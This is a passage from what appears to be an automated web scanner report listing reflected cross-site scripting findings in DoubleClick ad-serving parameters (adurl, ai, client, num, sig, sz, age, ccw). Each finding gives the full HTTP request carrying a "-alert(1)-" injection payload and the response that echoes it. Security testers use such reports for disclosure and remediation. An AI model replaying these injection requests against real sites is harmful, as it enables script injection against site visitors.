User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 12:37:29 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7314

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
escape("http://ad.doubleclick.net/click%3Bh%3Dv8/3af3/f/191/%2a/k%3B240320597%3B0-0%3B0%3B62289813%3B2321-160/600%3B41844251/41862038/1%3B%3B%7Esscs%3D%3fhttp://exch.quantserve.com/r?a=p-03tSqaTFVs1lseb328"-alert(1)-"9fe4dc0640&labels=_qc.clk,_click.adserver.rtb,_click.rand.43369&rtbip=63.251.90.149&rtbdata2=EAAaDk1ldHJvUENTX1EyLTExILgLKKgXMMvbHjozaHR0cDovL3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0L2Jhbm5lcl8xMjBfNjAwX2IucGhwQgcI1sUHEP
...[SNIP]...

6.6. http://ad.doubleclick.net/adi/N3671.Google/B5102071.8 [adurl parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N3671.Google/B5102071.8

Issue detail

The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload db526"-alert(1)-"f38d76248c2 was submitted in the adurl parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N3671.Google/B5102071.8;sz=160x600;pc=gdnHwu80gEAAAA;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BfYqAHEy0TbPrEcuBlgeC9vCrAseG85QCx7X3yR3AjbcB8LT4ARABGAEg2aK3DzgAUPuY1pwHYMnug4jwo-wSoAGhvOPWA7IBF3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0ugEKMTYweDYwMF9hc8gBCdoBSGh0dHA6Ly9wdWIucmV0YWlsZXItYW1hem9uLm5ldC9iYW5uZXJfMTIwXzYwMF9iLnBocD9zZWFyY2g9JTdCJGtleXdhNmQ0YrgCGMgC94qgG6gDAdEDHROmdxAz1pjoA7wB6AOUAvUDAAAAxA&num=1&sig=AGiWqty58OsInd0vwE_hq6qLB0DF4PWwgw&client=ca-pub-6888065668292638&adurl=db526"-alert(1)-"f38d76248c2 HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679599&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661599233&bpp=4&shv=r20110420&jsv=r20110415&correlator=1303661599239&frm=1&adk=2614322350&ga_vid=1010643910.1303661599&ga_sid=1303661599&ga_hid=1918276477&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Content-Length: 7421
Cache-Control: no-cache
Pragma: no-cache
Date: Sun, 24 Apr 2011 16:15:05 GMT
Expires: Sun, 24 Apr 2011 16:15:05 GMT



<script src="http://s0.2mdn.net/879366/flashwrite_1
...[SNIP]...
YW1hem9uLm5ldC9iYW5uZXJfMTIwXzYwMF9iLnBocD9zZWFyY2g9JTdCJGtleXdhNmQ0YrgCGMgC94qgG6gDAdEDHROmdxAz1pjoA7wB6AOUAvUDAAAAxA&num=1&sig=AGiWqty58OsInd0vwE_hq6qLB0DF4PWwgw&client=ca-pub-6888065668292638&adurl=db526"-alert(1)-"f38d76248c2http://www.homeaway.com?cid=B_Detourism_BR_T_160x600_HotelLivingRoom_LHP_469252");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dcallowscriptacces
...[SNIP]...

6.7. http://ad.doubleclick.net/adi/N3671.Google/B5102071.8 [ai parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N3671.Google/B5102071.8

Issue detail

The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 902fa"-alert(1)-"16a9e2df61f was submitted in the ai parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N3671.Google/B5102071.8;sz=160x600;pc=gdnHwu80gEAAAA;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BfYqAHEy0TbPrEcuBlgeC9vCrAseG85QCx7X3yR3AjbcB8LT4ARABGAEg2aK3DzgAUPuY1pwHYMnug4jwo-wSoAGhvOPWA7IBF3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0ugEKMTYweDYwMF9hc8gBCdoBSGh0dHA6Ly9wdWIucmV0YWlsZXItYW1hem9uLm5ldC9iYW5uZXJfMTIwXzYwMF9iLnBocD9zZWFyY2g9JTdCJGtleXdhNmQ0YrgCGMgC94qgG6gDAdEDHROmdxAz1pjoA7wB6AOUAvUDAAAAxA902fa"-alert(1)-"16a9e2df61f&num=1&sig=AGiWqty58OsInd0vwE_hq6qLB0DF4PWwgw&client=ca-pub-6888065668292638&adurl=;ord=1061289247? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679599&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661599233&bpp=4&shv=r20110420&jsv=r20110415&correlator=1303661599239&frm=1&adk=2614322350&ga_vid=1010643910.1303661599&ga_sid=1303661599&ga_hid=1918276477&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:14:10 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7451



<script src="http://s0.2mdn.net/879366/flashwrite_1
...[SNIP]...
3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0ugEKMTYweDYwMF9hc8gBCdoBSGh0dHA6Ly9wdWIucmV0YWlsZXItYW1hem9uLm5ldC9iYW5uZXJfMTIwXzYwMF9iLnBocD9zZWFyY2g9JTdCJGtleXdhNmQ0YrgCGMgC94qgG6gDAdEDHROmdxAz1pjoA7wB6AOUAvUDAAAAxA902fa"-alert(1)-"16a9e2df61f&num=1&sig=AGiWqty58OsInd0vwE_hq6qLB0DF4PWwgw&client=ca-pub-6888065668292638&adurl=http%3a%2f%2fwww.homeaway.com%3Fcid%3DB_Detourism_BR_T_160x600_HotelLivingRoom_LHP_469252");
var fscUrl = url;
var
...[SNIP]...

6.8. http://ad.doubleclick.net/adi/N3671.Google/B5102071.8 [client parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N3671.Google/B5102071.8

Issue detail

The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload dc4e9"-alert(1)-"46c4c91ad9c was submitted in the client parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N3671.Google/B5102071.8;sz=160x600;pc=gdnHwu80gEAAAA;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BfYqAHEy0TbPrEcuBlgeC9vCrAseG85QCx7X3yR3AjbcB8LT4ARABGAEg2aK3DzgAUPuY1pwHYMnug4jwo-wSoAGhvOPWA7IBF3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0ugEKMTYweDYwMF9hc8gBCdoBSGh0dHA6Ly9wdWIucmV0YWlsZXItYW1hem9uLm5ldC9iYW5uZXJfMTIwXzYwMF9iLnBocD9zZWFyY2g9JTdCJGtleXdhNmQ0YrgCGMgC94qgG6gDAdEDHROmdxAz1pjoA7wB6AOUAvUDAAAAxA&num=1&sig=AGiWqty58OsInd0vwE_hq6qLB0DF4PWwgw&client=ca-pub-6888065668292638dc4e9"-alert(1)-"46c4c91ad9c&adurl=;ord=1061289247? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679599&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661599233&bpp=4&shv=r20110420&jsv=r20110415&correlator=1303661599239&frm=1&adk=2614322350&ga_vid=1010643910.1303661599&ga_sid=1303661599&ga_hid=1918276477&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:14:51 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7447



<script src="http://s0.2mdn.net/879366/flashwrite_1
...[SNIP]...
WlsZXItYW1hem9uLm5ldC9iYW5uZXJfMTIwXzYwMF9iLnBocD9zZWFyY2g9JTdCJGtleXdhNmQ0YrgCGMgC94qgG6gDAdEDHROmdxAz1pjoA7wB6AOUAvUDAAAAxA&num=1&sig=AGiWqty58OsInd0vwE_hq6qLB0DF4PWwgw&client=ca-pub-6888065668292638dc4e9"-alert(1)-"46c4c91ad9c&adurl=http%3a%2f%2fwww.homeaway.com%3Fcid%3DB_Detourism_BR_T_160x600_HotelDeckChair_LHP_469252");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "opaque";
var bg = "";
var dc
...[SNIP]...

6.9. http://ad.doubleclick.net/adi/N3671.Google/B5102071.8 [num parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N3671.Google/B5102071.8

Issue detail

The value of the num request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 2f572"-alert(1)-"5b1932e7733 was submitted in the num parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N3671.Google/B5102071.8;sz=160x600;pc=gdnHwu80gEAAAA;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BfYqAHEy0TbPrEcuBlgeC9vCrAseG85QCx7X3yR3AjbcB8LT4ARABGAEg2aK3DzgAUPuY1pwHYMnug4jwo-wSoAGhvOPWA7IBF3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0ugEKMTYweDYwMF9hc8gBCdoBSGh0dHA6Ly9wdWIucmV0YWlsZXItYW1hem9uLm5ldC9iYW5uZXJfMTIwXzYwMF9iLnBocD9zZWFyY2g9JTdCJGtleXdhNmQ0YrgCGMgC94qgG6gDAdEDHROmdxAz1pjoA7wB6AOUAvUDAAAAxA&num=12f572"-alert(1)-"5b1932e7733&sig=AGiWqty58OsInd0vwE_hq6qLB0DF4PWwgw&client=ca-pub-6888065668292638&adurl=;ord=1061289247? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679599&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661599233&bpp=4&shv=r20110420&jsv=r20110415&correlator=1303661599239&frm=1&adk=2614322350&ga_vid=1010643910.1303661599&ga_sid=1303661599&ga_hid=1918276477&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:14:24 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7447



<script src="http://s0.2mdn.net/879366/flashwrite_1
...[SNIP]...
yZXRhaWxlci1hbWF6b24ubmV0ugEKMTYweDYwMF9hc8gBCdoBSGh0dHA6Ly9wdWIucmV0YWlsZXItYW1hem9uLm5ldC9iYW5uZXJfMTIwXzYwMF9iLnBocD9zZWFyY2g9JTdCJGtleXdhNmQ0YrgCGMgC94qgG6gDAdEDHROmdxAz1pjoA7wB6AOUAvUDAAAAxA&num=12f572"-alert(1)-"5b1932e7733&sig=AGiWqty58OsInd0vwE_hq6qLB0DF4PWwgw&client=ca-pub-6888065668292638&adurl=http%3a%2f%2fwww.homeaway.com%3Fcid%3DB_Detourism_BR_T_160x600_HotelDeckChair_LHP_469252");
var fscUrl = url;
var fscUrl
...[SNIP]...

6.10. http://ad.doubleclick.net/adi/N3671.Google/B5102071.8 [sig parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N3671.Google/B5102071.8

Issue detail

The value of the sig request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 1986d"-alert(1)-"dea48e3dd70 was submitted in the sig parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N3671.Google/B5102071.8;sz=160x600;pc=gdnHwu80gEAAAA;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BfYqAHEy0TbPrEcuBlgeC9vCrAseG85QCx7X3yR3AjbcB8LT4ARABGAEg2aK3DzgAUPuY1pwHYMnug4jwo-wSoAGhvOPWA7IBF3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0ugEKMTYweDYwMF9hc8gBCdoBSGh0dHA6Ly9wdWIucmV0YWlsZXItYW1hem9uLm5ldC9iYW5uZXJfMTIwXzYwMF9iLnBocD9zZWFyY2g9JTdCJGtleXdhNmQ0YrgCGMgC94qgG6gDAdEDHROmdxAz1pjoA7wB6AOUAvUDAAAAxA&num=1&sig=AGiWqty58OsInd0vwE_hq6qLB0DF4PWwgw1986d"-alert(1)-"dea48e3dd70&client=ca-pub-6888065668292638&adurl=;ord=1061289247? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679599&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661599233&bpp=4&shv=r20110420&jsv=r20110415&correlator=1303661599239&frm=1&adk=2614322350&ga_vid=1010643910.1303661599&ga_sid=1303661599&ga_hid=1918276477&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:14:38 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7451



<script src="http://s0.2mdn.net/879366/flashwrite_1
...[SNIP]...
9hc8gBCdoBSGh0dHA6Ly9wdWIucmV0YWlsZXItYW1hem9uLm5ldC9iYW5uZXJfMTIwXzYwMF9iLnBocD9zZWFyY2g9JTdCJGtleXdhNmQ0YrgCGMgC94qgG6gDAdEDHROmdxAz1pjoA7wB6AOUAvUDAAAAxA&num=1&sig=AGiWqty58OsInd0vwE_hq6qLB0DF4PWwgw1986d"-alert(1)-"dea48e3dd70&client=ca-pub-6888065668292638&adurl=http%3a%2f%2fwww.homeaway.com%3Fcid%3DB_Detourism_BR_T_160x600_HotelLivingRoom_LHP_469252");
var fscUrl = url;
var fscUrlClickTagFound = false;
var wmode = "
...[SNIP]...

6.11. http://ad.doubleclick.net/adi/N3671.Google/B5102071.8 [sz parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N3671.Google/B5102071.8

Issue detail

The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bf3ca"-alert(1)-"a302272b5bd was submitted in the sz parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N3671.Google/B5102071.8;sz=160x600;pc=gdnHwu80gEAAAA;click=http://googleads.g.doubleclick.net/aclk?sa=lbf3ca"-alert(1)-"a302272b5bd&ai=BfYqAHEy0TbPrEcuBlgeC9vCrAseG85QCx7X3yR3AjbcB8LT4ARABGAEg2aK3DzgAUPuY1pwHYMnug4jwo-wSoAGhvOPWA7IBF3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0ugEKMTYweDYwMF9hc8gBCdoBSGh0dHA6Ly9wdWIucmV0YWlsZXItYW1hem9uLm5ldC9iYW5uZXJfMTIwXzYwMF9iLnBocD9zZWFyY2g9JTdCJGtleXdhNmQ0YrgCGMgC94qgG6gDAdEDHROmdxAz1pjoA7wB6AOUAvUDAAAAxA&num=1&sig=AGiWqty58OsInd0vwE_hq6qLB0DF4PWwgw&client=ca-pub-6888065668292638&adurl=;ord=1061289247? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-6888065668292638&output=html&h=600&slotname=2465090616&w=160&lmt=1303679599&ea=0&flash=10.2.154&url=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php%3Fsearch%3D%7B%24keywa6d4b&dt=1303661599233&bpp=4&shv=r20110420&jsv=r20110415&correlator=1303661599239&frm=1&adk=2614322350&ga_vid=1010643910.1303661599&ga_sid=1303661599&ga_hid=1918276477&ga_fc=0&u_tz=-300&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=980&bih=907&ifk=2540724997&fu=4&ifi=1&dtd=8
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:13:57 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7451



<script src="http://s0.2mdn.net/879366/flashwrite_1
...[SNIP]...
click%3Bh%3Dv8/3af3/f/1ca/%2a/n%3B239550138%3B0-0%3B0%3B58795375%3B2321-160/600%3B41530191/41547978/1%3B%3B%7Eokv%3D%3Bpc%3DgdnHwu80gEAAAA%3B%3B%7Esscs%3D%3fhttp://googleads.g.doubleclick.net/aclk?sa=lbf3ca"-alert(1)-"a302272b5bd&ai=BfYqAHEy0TbPrEcuBlgeC9vCrAseG85QCx7X3yR3AjbcB8LT4ARABGAEg2aK3DzgAUPuY1pwHYMnug4jwo-wSoAGhvOPWA7IBF3B1Yi5yZXRhaWxlci1hbWF6b24ubmV0ugEKMTYweDYwMF9hc8gBCdoBSGh0dHA6Ly9wdWIucmV0YWlsZXItYW1hem9uLm5ldC9i
...[SNIP]...

6.12. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [age parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the age request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ed328"-alert(1)-"4ca1fa8c515 was submitted in the age parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /adi/N4860.158901.DATAXU/B5300325.14;sz=160x600;click=http://i.w55c.net/cl?&t=1&ei=GOOGLE_CONTENTNETWORK&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=ed328"-alert(1)-"4ca1fa8c515&zc=NzUyMDc&rurl=;ord=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw? HTTP/1.1
Host: ad.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://cdn.w55c.net/i/0Rl7Vm3VTU_682412618.html?rtbhost=rts-rr18.sldc.dataxu.net&btid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjZ8R0ZQOWdsRlJLUnwxMzAzNjYxOTk0MTYzfDF8MEZXTmpRSzNBVHwwUmw3Vm0zVlRVfDlRUXhjVE81dUgySWE3Qms0dkdTMlM5NnVmT0dzU0RDfDc1MzM3Nw&ei=GOOGLE_CONTENTNETWORK&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&euid=Q0FFU0VPOGx5aWVNVWhXMXZzQlNlZE1IdGRn&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&reqid=NERCNDREQTgwMDAxNzI5NjBBRTU3RTYyMThEMDA1MjY&ccw=SUFCMSMwLjB8SUFCOCMwLjB8SUFCMTQjMC4wOTA5NjI0OXxJQUIyMiMwLjMwMTAwNjA4&bp=753&zc=NzUyMDc&v=2&s=http%3A%2F%2Fpub.retailer-amazon.net%2Fbanner_120_600_b.php&
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=22fba3001601008d||t=1303072660|et=730|cs=-8oc1u1u; __gads=ID=3cde97f19b2af13f:T=1303423671:S=ALNI_MZrSVhBI9QqwoFvqOiF9aToOUXXzA

Response

HTTP/1.1 200 OK
Server: DCLK-AdSvr
Content-Type: text/html
Date: Sun, 24 Apr 2011 16:23:37 GMT
Cache-Control: private, x-gzip-ok=""
Content-Length: 7540

<html><head><title>Click here to find out more!</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All
...[SNIP]...
A1MjY&slotid=MQ&fiu=MEZXTmpRSzNBVA&ciu=MFJsN1ZtM1ZUVQ&epid=&refurl=&s=http://pub.retailer-amazon.net/banner_120_600_b.php&wp_exchange=TbRNqAABcpYK5X5iGNAFJh24yaOdrpmneXfYCA&dv=&dm=&os=&scres=&gen=&age=ed328"-alert(1)-"4ca1fa8c515&zc=NzUyMDc&rurl=http%3a%2f%2fwww.newark.com/jsp/bespoke/bespoke7.jsp%3Fbespokepage%3Dcommon/en/technology-first/whats-new/whats-new.jsp%26CMP%3DBAN-L0-Opto");
var fscUrl = url;
var fscUrlClickTagF
...[SNIP]...

6.13. http://ad.doubleclick.net/adi/N4860.158901.DATAXU/B5300325.14 [ccw parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://ad.doubleclick.net
Path:	/adi/N4860.158901.DATAXU/B5300325.14

Issue detail

The value of the ccw request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 63451"-alert(1)-"7fbc9de3120 was submitted in the ccw parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

